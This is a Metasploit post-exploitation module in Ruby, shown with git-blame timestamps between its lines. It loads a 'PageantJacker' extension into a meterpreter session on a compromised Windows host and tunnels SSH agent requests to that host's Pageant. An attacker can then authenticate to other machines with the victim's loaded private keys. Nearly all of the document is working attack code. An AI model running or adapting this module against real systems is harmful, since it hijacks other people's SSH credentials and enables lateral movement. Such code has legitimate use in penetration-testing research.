2015-05-19 08:49:27 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2015-05-19 08:55:38 +00:00
|
|
|
require 'tmpdir'
|
2015-05-19 08:49:27 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
|
2015-05-19 13:44:32 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Forward SSH Agent Requests To Remote Pageant',
|
|
|
|
'Description' => %q{
|
|
|
|
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
|
|
|
|
If a target Windows machine is compromised and is running Pageant, this will allow the
|
|
|
|
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
|
|
|
|
tunnelled through the meterpreter session. This could therefore be used to authenticate
|
|
|
|
with a remote host using a private key which is loaded into a remote user's Pageant instance,
|
|
|
|
without ever having knowledge of the private key itself.
|
2015-05-19 13:29:56 +00:00
|
|
|
|
2015-05-19 13:44:32 +00:00
|
|
|
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
|
|
|
|
loaded into the remote meterpreter session by this module if it is not already loaded.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
2015-05-19 13:46:44 +00:00
|
|
|
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
|
2015-05-19 13:51:08 +00:00
|
|
|
'Ben Campbell', # A HUGE amount of support in this :-)
|
2015-05-19 13:44:32 +00:00
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
2015-05-19 09:56:04 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2015-05-19 13:44:32 +00:00
|
|
|
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
|
2015-05-19 09:56:04 +00:00
|
|
|
], self.class)
|
2015-05-19 08:55:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2015-05-19 14:13:15 +00:00
|
|
|
|
|
|
|
# Check to ensure that UNIX sockets are supported
|
|
|
|
begin
|
|
|
|
::UNIXServer
|
|
|
|
rescue NameError
|
|
|
|
print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
2015-05-19 13:29:56 +00:00
|
|
|
# Attempt to load the pageantjacker extension if it isn't already loaded.
|
2015-05-19 13:44:32 +00:00
|
|
|
unless session.pageantjacker
|
2015-05-19 09:33:32 +00:00
|
|
|
print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})")
|
2015-05-19 08:55:38 +00:00
|
|
|
session.core.use("pageantjacker")
|
|
|
|
end
|
|
|
|
|
2015-05-19 13:29:56 +00:00
|
|
|
# Fail if it cannot be loaded
|
2015-05-19 13:44:32 +00:00
|
|
|
unless session.pageantjacker
|
2015-05-19 09:33:32 +00:00
|
|
|
print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})")
|
2015-05-19 08:55:38 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
2015-05-19 13:29:56 +00:00
|
|
|
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
|
2015-05-19 09:56:04 +00:00
|
|
|
if datastore['SocketPath']
|
2015-05-19 13:44:32 +00:00
|
|
|
@sockpath = datastore['SocketPath'].to_s
|
2015-05-19 09:56:04 +00:00
|
|
|
else
|
2015-05-19 13:44:32 +00:00
|
|
|
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
|
2015-05-19 09:56:04 +00:00
|
|
|
end
|
|
|
|
|
2015-05-19 13:29:56 +00:00
|
|
|
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
|
2015-05-19 13:44:32 +00:00
|
|
|
if ::File.exist?(@sockpath)
|
|
|
|
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
|
|
|
|
return false
|
2015-05-19 13:42:30 +00:00
|
|
|
end
|
2015-05-19 08:55:38 +00:00
|
|
|
|
2015-05-19 13:29:56 +00:00
|
|
|
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
|
2015-05-19 14:13:15 +00:00
|
|
|
::UNIXServer.open(@sockpath) do |serv|
|
2015-05-19 10:34:25 +00:00
|
|
|
print_status("Launched listening socket on #{@sockpath}")
|
2015-05-19 09:21:08 +00:00
|
|
|
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
|
2015-05-19 08:55:38 +00:00
|
|
|
print_status("Now use any tool normally (e.g. ssh-add)")
|
2015-05-19 09:56:04 +00:00
|
|
|
|
2015-05-19 13:44:32 +00:00
|
|
|
loop do
|
2015-05-19 08:55:38 +00:00
|
|
|
s = serv.accept
|
2015-05-19 13:44:32 +00:00
|
|
|
loop do
|
2015-05-19 13:46:44 +00:00
|
|
|
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
|
2015-05-19 08:55:38 +00:00
|
|
|
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
|
2015-05-19 11:21:00 +00:00
|
|
|
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
|
2015-05-19 10:34:25 +00:00
|
|
|
response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
|
|
|
|
if response[:success]
|
2015-05-19 13:44:32 +00:00
|
|
|
s.send response[:blob], 0
|
2015-05-19 13:29:56 +00:00
|
|
|
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')")
|
|
|
|
else
|
|
|
|
print_error("PageantJacker: Unsuccessful response received (#{response[:error]})")
|
2015-05-19 10:34:25 +00:00
|
|
|
end
|
2015-05-19 09:56:04 +00:00
|
|
|
end
|
2015-05-19 13:44:32 +00:00
|
|
|
end
|
2015-05-19 08:55:38 +00:00
|
|
|
end
|
2015-05-19 08:49:27 +00:00
|
|
|
end
|
|
|
|
|
2015-05-19 13:44:32 +00:00
|
|
|
def cleanup
|
|
|
|
# Remove the socket that we created, if it still exists
|
|
|
|
::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath
|
|
|
|
end
|
2015-05-19 14:13:15 +00:00
|
|
|
|
2015-05-19 08:49:27 +00:00
|
|
|
end
|